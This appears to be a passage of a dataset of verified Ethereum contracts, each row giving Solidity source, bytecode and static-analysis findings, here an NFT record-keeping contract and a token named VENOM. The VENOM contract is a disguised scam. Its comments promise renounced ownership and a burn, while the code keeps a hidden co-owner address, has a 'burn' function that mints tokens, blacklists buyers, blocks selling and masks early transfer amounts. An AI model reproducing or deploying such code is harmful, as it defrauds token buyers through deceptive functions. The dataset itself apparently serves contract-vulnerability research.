11165565b5b6000610d3d84828501610c2a565b91505092915050565b610d4f816110b4565b82525050565b6000610d6082611082565b610d6a8185611098565b9350610d7a818560208601611132565b80840191505092915050565b610d8f816110fc565b82525050565b6000610da08261108d565b610daa81856110a3565b9350610dba818560208601611132565b610dc38161116a565b840191505092915050565b6000610ddb6021836110a3565b9150610de68261117b565b604082019050919050565b6000610dfe6026836110a3565b9150610e09826111ca565b604082019050919050565b6000610e21601d836110a3565b9150610e2c82611219565b602082019050919050565b6000610e44600c836110a3565b9150610e4f82611242565b602082019050919050565b6000610e67602a836110a3565b9150610e728261126b565b604082019050919050565b6000610e8a6010836110a3565b9150610e95826112ba565b602082019050919050565b610ea9816110f2565b82525050565b6000610ebb8284610d55565b915081905092915050565b6000602082019050610edb6000830184610d46565b92915050565b6000604082019050610ef66000830185610d46565b610f036020830184610d46565b9392505050565b6000606082019050610f1f6000830186610d46565b610f2c6020830185610d46565b610f396040830184610ea0565b949350505050565b6000604082019050610f566000830185610d46565b610f636020830184610ea0565b9392505050565b6000602082019050610f7f6000830184610d86565b92915050565b60006020820190508181036000830152610f9f8184610d95565b905092915050565b60006020820190508181036000830152610fc081610dce565b9050919050565b60006020820190508181036000830152610fe081610df1565b9050919050565b6000602082019050818103600083015261100081610e14565b9050919050565b6000602082019050818103600083015261102081610e37565b9050919050565b6000602082019050818103600083015261104081610e5a565b9050919050565b6000602082019050818103600083015261106081610e7d565b9050919050565b600060208201905061107c6000830184610ea0565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006110bf826110d2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006111078261110e565b9050919050565b600061111982611120565b9050919050565b600061112b826110d2565b9050919050565b60005b83811015611150578082015181840152602081019050611135565b8381111561115f576000848401525b50505050565b600080fd5b6000601f19601f8301169050919050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f60008201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f6e6f7420617070726f7665640000000000000000000000000000000000000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f496e636f727265637420616d6f756e7400000000000000000000000000000000600082015250565b6112ec816110b4565b81146112f757600080fd5b50565b611303816110c6565b811461130e57600080fd5b50565b61131a816110f2565b811461132557600080fd5b5056fea26469706673582212203d90e5e4bfd8c8b7ecabca8682a9b1aadb0af55bd3c65b587f9da60c2c7417f164736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 1,449 |
0x66826f13bE180C7B75Dc313B7Df3244311467d4A | /**
*Submitted for verification at Etherscan.io on 2022-03-19
*/
pragma solidity ^0.6.12;
/*
_ _ _ _____ _
| | | | | | / __ \ (_)
| | | |_ __ __ _ _ __ _ __ ___ __| | | / \/ ___ _ __ ___ _ __ __ _ _ __ _ ___ _ __
| |/\| | '__/ _` | '_ \| '_ \ / _ \/ _` | | | / _ \| '_ ` _ \| '_ \ / _` | '_ \| |/ _ \| '_ \
\ /\ / | | (_| | |_) | |_) | __/ (_| | | \__/\ (_) | | | | | | |_) | (_| | | | | | (_) | | | |
\/ \/|_| \__,_| .__/| .__/ \___|\__,_| \____/\___/|_| |_| |_| .__/ \__,_|_| |_|_|\___/|_| |_|
| | | | | |
|_| |_| |_|
______ _ _____ _ _
| _ \ | | / __ \ | | | |
| | | |__ _| |_ __ _ | / \/ ___ _ __ | |_ _ __ __ _ ___| |_
| | | / _` | __/ _` | | | / _ \| '_ \| __| '__/ _` |/ __| __|
| |/ / (_| | || (_| | | \__/\ (_) | | | | |_| | | (_| | (__| |_
|___/ \__,_|\__\__,_| \____/\___/|_| |_|\__|_| \__,_|\___|\__|
-NFT data store to hold the following
- Wrapped Status
- Blocked NFT's
- Is Holder?
- Status of wrapped (fees)
- number of holders (For future use)
- Array for address storage for royalty cleanup
*/
//Interface to NFT contract
interface wrappedcompanion{
////Interface to RCVR
function balanceOf(address owner) external view returns (uint256);
function tokenURI(uint256 tokenId ) external view returns (string memory);
function getArtApproval(uint _tokennumber,address _wallet)external view returns(bool);
function ownerOf(uint256 tokenId) external view returns (address);
}
interface ogcompanion{
////Interface to RCVR
function ownerOf(uint256 tokenId) external view returns (address);
}
contract NFTInfo{
//Arrays///
uint[] private blockednfts; //Array to handle a blocked nfts
//Std Variables///
address public wtcaddress = 0xc1A3bfd6678Ce5fb16db9A544cBd279850baA81D;
address public companion = 0xdE22827Fe636E8e7d8e21F5EAb10Db644f6AA361;
address public Owner;
address public manager; //Able to modify addresses at a lower level
address public royaltywallet; //Wallet for royalties
uint private numwraps;
uint public numholders;
uint public numblocked;
///////Important Mappings///////
mapping(address => bool) internal wrapped; //Whether a holder has wrapped
mapping(address => bool) internal holder; //Whether they are a holder
mapping(address => uint) internal feespaid; //Status of users fees -> 0 -> Not paid for wrap 1-> Paid once 0.01ETH 2-> Paid up to limit of 0.02ETH
mapping(address => uint) internal artenabled; //Dynamic mapping of ar enabled/disabled
mapping(address => string) internal artpath; //Dynamic mapping of art
///////Array for holders////////
address[] internal holderaddresses; //array to store the holders
////////////////////////////////
modifier onlyOwner() {
require(msg.sender == Owner);
_;
}
constructor () public {
Owner = msg.sender; //Owner of Contract
manager = msg.sender; //Owner as default
}
///Update NB address if required
function configNBAddresses(uint option,address _address) external onlyOwner{
if (option==1)
{
wtcaddress = _address;
}
if (option==2)
{
royaltywallet = _address;
}
if (option==3)
{
companion = _address;
}
}
//Setup ArtWork Manager address///
function setManager(address _manager) external onlyOwner
{
manager = _manager;
}
//Obtain Art status for user
function getArtStatus(address _wallet)public view returns(uint)
{
uint temp;
temp = artenabled[_wallet];
return temp;
}
////Sets the art path for a user
function setArtPath(uint _tokennumber,address _holder,uint _pathno) external
{
bool temp;
require(msg.sender == Owner || msg.sender==manager,"Not Auth!");
temp = wrappedcompanion(wtcaddress).getArtApproval(_tokennumber,_holder);
require(temp==true,"Owner not approved!");
if (_pathno == 1)
{
artenabled[_holder] = 1;
}
if (_pathno == 2)
{
artenabled[_holder] = 2;
}
if (_pathno == 3)
{
artenabled[_holder] = 3;
}
}
//Function to Verify whether an NFT is blocked
function isBlockedNFT(uint _tokenID) public view returns(bool,uint256)
{
for (uint256 s = 0; s < blockednfts.length; s += 1){
if (_tokenID == blockednfts[s]) return (true,s);
}
return (false,0);
}
//Function to return whether they are a holder or not
function isHolder(address _address) public view returns(bool)
{
bool temp;
if(holder[_address]==true)
{
temp=true;
}
return temp;
}
function manageHolderAddresses(bool status,address _holder) external {
require(msg.sender == wtcaddress||msg.sender==Owner||msg.sender==royaltywallet,"Not Oracle/Owner!");
if(status==true)
{
//Add user to array!
(bool _isholder, ) = isHolderInArray(_holder);
if(!_isholder)holderaddresses.push(_holder);
}
if(status==false)
{
(bool _isholder, uint256 s) = isHolderInArray(_holder);
if(_isholder){
holderaddresses[s] = holderaddresses[holderaddresses.length - 1];
holderaddresses.pop();
}
holder[ _holder]=status;
}
}
/////To keep track of holders for future use
function manageNumHolders(uint _option) external {
require(msg.sender == wtcaddress||msg.sender==Owner||msg.sender==royaltywallet,"Not Oracle/Owner!");
if (_option==1) //remove holder
{
numholders -= numholders -1;
}
if (_option==2) //add holder
{
numholders += 1;
}
}
/////Returns whether the user is stored in the array////////
function isHolderInArray(address _wallet) public view returns(bool,uint)
{
for (uint256 s = 0; s < holderaddresses.length; s += 1){
if(_wallet == holderaddresses[s]) return (true,s);
}
return (false,0);
}
/////////////////////////
///Function to override the numholders, this is incase of logic issues and to make sure claim is fair
function forceNumHolders(uint _value) external onlyOwner{
numholders = _value;
}
///Function to manage addresses
function manageBlockedNFT(int option,uint _tokenID,address _wallet,uint _numNFT) external onlyOwner{
address temp;
if (option==1) // Add NFT to block list
{
blockednfts.push(_tokenID); //add nfts to blocked id's
numblocked+=1;
}
if (option==2) //Remove from array
{
(bool _isblocked,uint256 s) = isBlockedNFT(_tokenID);
if(_isblocked){
blockednfts[s] = blockednfts[blockednfts.length - 1];
blockednfts.pop();
if (numblocked>0)
{
numblocked-=1;
}
}
}
if (option==3) //Iterate through entire colletion and add
{
for (uint256 s = 0; s < _numNFT; s += 1){
if(s>0)
{
temp = ownerOfToken(s);
if (temp ==_wallet)
{
blockednfts.push(s);
numblocked+=1;
}
}
}
}
}
//Function to set the status of a wrap for fee support////
function setUserStatus(address _wrapper,uint _status,bool _haswrapped) external{
require(msg.sender == wtcaddress||msg.sender==Owner||msg.sender==royaltywallet,"Not Oracle/Owner!");
feespaid[_wrapper] = _status;
wrapped[_wrapper] = _haswrapped;
numwraps+=1; //track number of wraps
}
function getWrappedStatus(address _migrator) external view returns(bool){
bool temp;
if(wrapped[_migrator]==true)
{
temp = wrapped[_migrator];
}
return temp;
}
function getFeesStatus(address _migrator) external view returns(uint){
uint temp;
temp = feespaid[_migrator];
return temp;
}
function getNumHolders(uint _feed) external view returns(uint){
uint temp;
if (_feed ==1)
{
temp = numholders;
}
if (_feed ==2)
{
temp = holderaddresses.length;
}
if (_feed ==3)
{
temp = blockednfts.length;
}
return temp;
}
///Returns the holder address given an Index
function getHolderAddress(uint _index) external view returns(address payable)
{
address temp;
address payable temp2;
temp = holderaddresses[_index];
temp2 = payable(temp);
return temp2;
}
//Returns OwnerOf from NFT
function ownerOfToken(uint _tid) public view returns (address)
{
address temp;
temp = ogcompanion(companion).ownerOf(_tid);
return temp;
}
} | 0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063adf38d84116100c3578063cb05f1961161007c578063cb05f19614610398578063d0ebdbe7146103d9578063d4d7b19a146103ff578063e04b712a14610425578063e83dbf711461042d578063fb74a54b1461046157610158565b8063adf38d84146102ca578063b4a99a4e146102e7578063bf291043146102ef578063c572a03414610315578063c57ac5d614610343578063c93ffa811461036057610158565b806357b2ca531161011557806357b2ca531461022e5780635def0cda1461025a57806361dcd8611461028057806378006e471461029d57806378ef9e32146102a55780637fdd822e146102ad57610158565b80630a868cdf1461015d57806315937df814610191578063387d42c5146101ab578063420f0b6b146101e5578063481c6a751461020957806352200a1314610211575b600080fd5b61018f6004803603606081101561017357600080fd5b508035906001600160a01b03602082013516906040013561047e565b005b610199610628565b60408051918252519081900360200190f35b6101d1600480360360208110156101c157600080fd5b50356001600160a01b031661062e565b604080519115158252519081900360200190f35b6101ed61067a565b604080516001600160a01b039092168252519081900360200190f35b6101ed610689565b6101996004803603602081101561022757600080fd5b5035610698565b61018f6004803603604081101561024457600080fd5b50803590602001356001600160a01b03166106ca565b6101996004803603602081101561027057600080fd5b50356001600160a01b0316610754565b61018f6004803603602081101561029657600080fd5b503561076f565b61019961078b565b6101ed610791565b6101ed600480360360208110156102c357600080fd5b50356107a0565b61018f600480360360208110156102e057600080fd5b50356107cf565b6101ed610871565b6101996004803603602081101561030557600080fd5b50356001600160a01b0316610880565b61018f6004803603604081101561032b57600080fd5b508035151590602001356001600160a01b031661089b565b6101ed6004803603602081101561035957600080fd5b5035610a5d565b61018f6004803603608081101561037657600080fd5b508035906020810135906001600160a01b036040820135169060600135610ae1565b6103be600480360360208110156103ae57600080fd5b50356001600160a01b0316610c5e565b60408051921515835260208301919091528051918290030190f35b61018f600480360360208110156103ef57600080fd5b50356001600160a01b0316610cbb565b6101d16004803603602081101561041557600080fd5b50356001600160a01b0316610cf4565b6101ed610d25565b61018f6004803603606081101561044357600080fd5b506001600160a01b0381351690602081013590604001351515610d34565b6103be6004803603602081101561047757600080fd5b5035610df1565b6003546000906001600160a01b03163314806104a457506004546001600160a01b031633145b6104e1576040805162461bcd60e51b81526020600482015260096024820152684e6f7420417574682160b81b604482015290519081900360640190fd5b600154604080516316dcf53d60e31b8152600481018790526001600160a01b0386811660248301529151919092169163b6e7a9e8916044808301926020929190829003018186803b15801561053557600080fd5b505afa158015610549573d6000803e3d6000fd5b505050506040513d602081101561055f57600080fd5b505190506001811515146105b0576040805162461bcd60e51b81526020600482015260136024820152724f776e6572206e6f7420617070726f7665642160681b604482015290519081900360640190fd5b81600114156105d6576001600160a01b0383166000908152600c60205260409020600190555b81600214156105fc576001600160a01b0383166000908152600c60205260409020600290555b8160031415610622576001600160a01b0383166000908152600c60205260409020600390555b50505050565b60075481565b6001600160a01b038116600090815260096020526040812054819060ff1615156001141561067457506001600160a01b03821660009081526009602052604090205460ff165b92915050565b6001546001600160a01b031681565b6004546001600160a01b031681565b60008082600114156106a957506007545b82600214156106b75750600e545b8260031415610674575050600054919050565b6003546001600160a01b031633146106e157600080fd5b816001141561070657600180546001600160a01b0319166001600160a01b0383161790555b816002141561072b57600580546001600160a01b0319166001600160a01b0383161790555b816003141561075057600280546001600160a01b0319166001600160a01b0383161790555b5050565b6001600160a01b03166000908152600c602052604090205490565b6003546001600160a01b0316331461078657600080fd5b600755565b60085481565b6002546001600160a01b031681565b6000806000600e84815481106107b257fe5b6000918252602090912001546001600160a01b0316949350505050565b6001546001600160a01b03163314806107f257506003546001600160a01b031633145b8061080757506005546001600160a01b031633145b61084c576040805162461bcd60e51b81526020600482015260116024820152704e6f74204f7261636c652f4f776e65722160781b604482015290519081900360640190fd5b806001141561085b5760016007555b806002141561086e576007805460010190555b50565b6003546001600160a01b031681565b6001600160a01b03166000908152600b602052604090205490565b6001546001600160a01b03163314806108be57506003546001600160a01b031633145b806108d357506005546001600160a01b031633145b610918576040805162461bcd60e51b81526020600482015260116024820152704e6f74204f7261636c652f4f776e65722160781b604482015290519081900360640190fd5b6001821515141561098457600061092e82610c5e565b5090508061098257600e80546001810182556000919091527fbb7b4a454dc3493923482f07822329ed19e8244eff582cc204f8554c3620c3fd0180546001600160a01b0319166001600160a01b0384161790555b505b816107505760008061099583610c5e565b915091508115610a3357600e805460001981019081106109b157fe5b600091825260209091200154600e80546001600160a01b0390921691839081106109d757fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600e805480610a1057fe5b600082815260209020810160001990810180546001600160a01b03191690550190555b50506001600160a01b03166000908152600a60205260409020805460ff1916911515919091179055565b600254604080516331a9108f60e11b815260048101849052905160009283926001600160a01b0390911691636352211e91602480820192602092909190829003018186803b158015610aae57600080fd5b505afa158015610ac2573d6000803e3d6000fd5b505050506040513d6020811015610ad857600080fd5b50519392505050565b6003546001600160a01b03163314610af857600080fd5b60008460011415610b405760008054600181810183559180527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563018590556008805490910190555b8460021415610bd157600080610b5586610df1565b915091508115610bce57600080546000198101908110610b7157fe5b906000526020600020015460008281548110610b8957fe5b90600052602060002001819055506000805480610ba257fe5b6001900381819060005260206000200160009055905560006008541115610bce57600880546000190190555b50505b8460031415610c575760005b82811015610c55578015610c4d57610bf481610a5d565b9150836001600160a01b0316826001600160a01b03161415610c4d5760008054600181810183559180527f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563018290556008805490910190555b600101610bdd565b505b5050505050565b60008060005b600e54811015610cad57600e8181548110610c7b57fe5b6000918252602090912001546001600160a01b0385811691161415610ca557600192509050610cb6565b600101610c64565b50600080915091505b915091565b6003546001600160a01b03163314610cd257600080fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152600a6020526040812054819060ff161515600114156106745750600192915050565b6005546001600160a01b031681565b6001546001600160a01b0316331480610d5757506003546001600160a01b031633145b80610d6c57506005546001600160a01b031633145b610db1576040805162461bcd60e51b81526020600482015260116024820152704e6f74204f7261636c652f4f776e65722160781b604482015290519081900360640190fd5b6001600160a01b03929092166000908152600b60209081526040808320939093556009905220805460ff1916911515919091179055600680546001019055565b60008060005b600054811015610cad5760008181548110610e0e57fe5b9060005260206000200154841415610e2b57600192509050610cb6565b600101610df756fea2646970667358221220fb0d2423adf500093ae01e836321c5cd84a9f65d2b885a97aa6add3840ebcd5364736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 1,450 |
0x173c8712347b713edef1bbaecfdb08bd5561ac1e | /**
*Submitted for verification at Etherscan.io on 2021-12-13
*/
/*
__ __ ___ ____ ___ ___ ___
| | | / _]| \ / \ | | |
| | | / [_ | _ || || _ _ |
| | || _]| | || O || \_/ |
| : || [_ | | || || | |
\ / | || | || || | |
\_/ |_____||__|__| \___/ |___|___|
5% Tax for marketing
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
50% Supply Burned on Launch
Join the telegram or visit our site for more info
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract Venom is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 4500000000000*10**18;
string public _name = "VENOM";
string public _symbol= "VENOM";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0xa353f28300C40a6954E8248D614a82048663E1eF);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 500000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073fffff